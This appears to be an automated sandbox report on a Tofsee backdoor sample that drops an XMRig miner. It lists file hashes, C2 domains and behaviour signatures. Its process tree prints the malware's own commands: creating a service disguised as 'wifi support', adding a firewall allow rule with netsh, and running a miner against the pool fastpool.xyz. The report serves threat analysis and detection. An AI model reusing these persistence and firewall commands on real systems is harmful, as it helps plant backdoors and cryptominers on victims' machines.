Analysis

  • max time kernel
    154s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 16:45

General

  • Target

    9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b.exe

  • Size

    150KB

  • MD5

    2c7fef3be2816a8e7817857936d0b30d

  • SHA1

    244e5a9674d386c1c179532d02e775ec09fc85f5

  • SHA256

    9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b

  • SHA512

    f2211862335c0e6c5540af40fbcff688f7c643a771ea436126f367ac3cceb74352c6c2cbf2dbda45e809138e1ab1bac7f55832798a7dfb4b15139eb4b1a0819c

  • SSDEEP

    3072:M0QRwqrq5cmFhuOTJJv5K5z/r9I0yOZxcyBZyHWmHkNj6I5eaVX:OO51YiJO5zz9IkxRMHkNn5eaJ

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b.exe
    "C:\Users\Admin\AppData\Local\Temp\9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3156
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oruxummj\
      2⤵
        PID:4896
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\yadojdst.exe" C:\Windows\SysWOW64\oruxummj\
        2⤵
          PID:5068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oruxummj binPath= "C:\Windows\SysWOW64\oruxummj\yadojdst.exe /d\"C:\Users\Admin\AppData\Local\Temp\9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3508
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oruxummj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oruxummj
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3964
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 600
          2⤵
          • Program crash
          PID:3764
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3156 -ip 3156
        1⤵
          PID:208
        • C:\Windows\SysWOW64\oruxummj\yadojdst.exe
          C:\Windows\SysWOW64\oruxummj\yadojdst.exe /d"C:\Users\Admin\AppData\Local\Temp\9dd37088a9391d314eaf5b8c6ecfe7e64c07cfb7f86abb250b7d743478ca189b.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2720
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:872
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4680
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2720 -s 520
            2⤵
            • Program crash
            PID:1980
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 196 -p 2720 -ip 2720
          1⤵
            PID:4200

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\yadojdst.exe

            Filesize

            14.6MB

            MD5

            eba62394dcc13065c1876ba14f77449f

            SHA1

            622745ec2da4dacc479e468d97cae561c971def0

            SHA256

            826de89e73557379be9123e11d9857ee27d7c04bfb2ce8b88104a6bb1f1a6210

            SHA512

            3d09c0321bff3860d795bee11e75bd83c9ff4eb2f66ab455db90e4fff324a37b2d729f372134a32b49146705d875ccd0a976a074f65c107786010abd431c5620

          • C:\Windows\SysWOW64\oruxummj\yadojdst.exe

            Filesize

            14.6MB

            MD5

            eba62394dcc13065c1876ba14f77449f

            SHA1

            622745ec2da4dacc479e468d97cae561c971def0

            SHA256

            826de89e73557379be9123e11d9857ee27d7c04bfb2ce8b88104a6bb1f1a6210

            SHA512

            3d09c0321bff3860d795bee11e75bd83c9ff4eb2f66ab455db90e4fff324a37b2d729f372134a32b49146705d875ccd0a976a074f65c107786010abd431c5620

          • memory/872-155-0x0000000002C00000-0x0000000002E0F000-memory.dmp

            Filesize

            2.1MB

          • memory/872-164-0x00000000023E0000-0x00000000023E5000-memory.dmp

            Filesize

            20KB

          • memory/872-158-0x00000000023C0000-0x00000000023C6000-memory.dmp

            Filesize

            24KB

          • memory/872-148-0x0000000001050000-0x0000000001065000-memory.dmp

            Filesize

            84KB

          • memory/872-153-0x0000000001050000-0x0000000001065000-memory.dmp

            Filesize

            84KB

          • memory/872-147-0x0000000000000000-mapping.dmp

          • memory/872-170-0x00000000023F0000-0x00000000023F7000-memory.dmp

            Filesize

            28KB

          • memory/872-154-0x0000000001050000-0x0000000001065000-memory.dmp

            Filesize

            84KB

          • memory/872-161-0x00000000023D0000-0x00000000023E0000-memory.dmp

            Filesize

            64KB

          • memory/872-167-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/2720-152-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/2720-151-0x0000000000719000-0x0000000000729000-memory.dmp

            Filesize

            64KB

          • memory/2724-142-0x0000000000000000-mapping.dmp

          • memory/3156-145-0x00000000006AD000-0x00000000006BE000-memory.dmp

            Filesize

            68KB

          • memory/3156-133-0x00000000005C0000-0x00000000005D3000-memory.dmp

            Filesize

            76KB

          • memory/3156-134-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/3156-139-0x00000000005C0000-0x00000000005D3000-memory.dmp

            Filesize

            76KB

          • memory/3156-138-0x00000000006AD000-0x00000000006BE000-memory.dmp

            Filesize

            68KB

          • memory/3156-132-0x00000000006AD000-0x00000000006BE000-memory.dmp

            Filesize

            68KB

          • memory/3156-146-0x0000000000400000-0x000000000045A000-memory.dmp

            Filesize

            360KB

          • memory/3508-140-0x0000000000000000-mapping.dmp

          • memory/3540-141-0x0000000000000000-mapping.dmp

          • memory/3964-143-0x0000000000000000-mapping.dmp

          • memory/4680-173-0x0000000000000000-mapping.dmp

          • memory/4680-179-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4680-174-0x0000000001000000-0x00000000010F1000-memory.dmp

            Filesize

            964KB

          • memory/4896-135-0x0000000000000000-mapping.dmp

          • memory/5068-136-0x0000000000000000-mapping.dmp